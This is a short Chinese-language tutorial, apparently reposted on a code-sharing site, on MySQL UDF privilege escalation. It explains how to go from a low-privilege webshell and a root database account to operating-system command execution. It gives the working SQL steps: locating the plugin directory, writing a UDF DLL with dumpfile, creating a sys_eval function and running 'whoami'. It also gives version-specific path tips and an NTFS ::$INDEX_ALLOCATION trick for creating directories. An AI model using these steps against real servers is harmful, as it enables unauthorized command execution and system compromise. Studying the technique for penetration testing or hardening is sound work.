MySQL UDF提權 過程及注意事項


MySQL UDF提權 過程及注意事項

0x00

udf = ‘user defined function’,即‘用戶自定義函數’。是通過添加新函數,對MYSQL的功能進行擴充,性質就象使用本地MYSQL函數如abs()或concat()。udf在mysql5.1以后的版本中,存在

思路

當獲得webshell后發現權限比較低,但是在inc文件中拿到數據庫的用戶是root的情況下

1、選擇udf提權,查看插件目錄

SHOW VARIABLES LIKE '%plugins%'

2、dumpfile寫入文件到插件目錄

https://www.sqlsec.com/tools/udf.html

image-20210113225045656

3、導入提權函數

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

4、通過函數執行系統命令

SELECT sys_eval('whoami');

image-20210113225250264

注意

1️⃣ 如果導出文件時MySQL安裝目錄下沒有 lib/plugin (插件文件夾)那么則需要開啟以下選項才能利用文件流創建目錄

image-20210113221250750

image-20210113220959321

2️⃣ 版本<mysql 5.0 時 udf的限制比較松,可以使用絕對路徑的UDF,比如

create function cmdshell returns string soname ‘c:/test/udf.dll’

3️⃣ 版本<mysql 5.1並且>mysql 5.0 這時候對於udf的限制比較苛刻了,udf的路徑必須放置在c:\windows\system32目錄中或者mysql的插件目錄中。(插件目錄可以使用select @@plugin_dir命令來獲得)注意:不一定這個目錄一定存在

image-20210113211938760

4️⃣ 版本>mysql 5.1 時候對udf的限制最為嚴格,這時候的udf必須放置在插件目錄中。但是默認安裝的mysql並沒有lib\plugin目錄,在我們沒有webshell不能創建目錄的情況下或者是webshell沒有權限創建目錄的情況下,我們需要mysql能夠為我們創建一個目錄。而mysql本身不具備創建目錄的功能,這時候很多人就放棄了,其實我們結合ntfs的特性可以實現用mysql實現創建文件夾。

假設我們的插件目錄是c:\mysql\lib\plugin這時候lib和plugin目錄是不存在的,這時候我們用兩個mysql語句就能實現創建文件夾

select 'xxx' into dumpfile 'C:\MySQL\lib::$INDEX_ALLOCATION';

select 'xxx' into dumpfile 'C:\MySQL\lib\plugin::$INDEX_ALLOCATION';

這時候會報錯ERROR 3 (HY000): Error writing file 'C:\MySQL\lib::$INDEX_ALLOCATION' (Errcode: 22)這個不用擔心,目錄已經創建了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM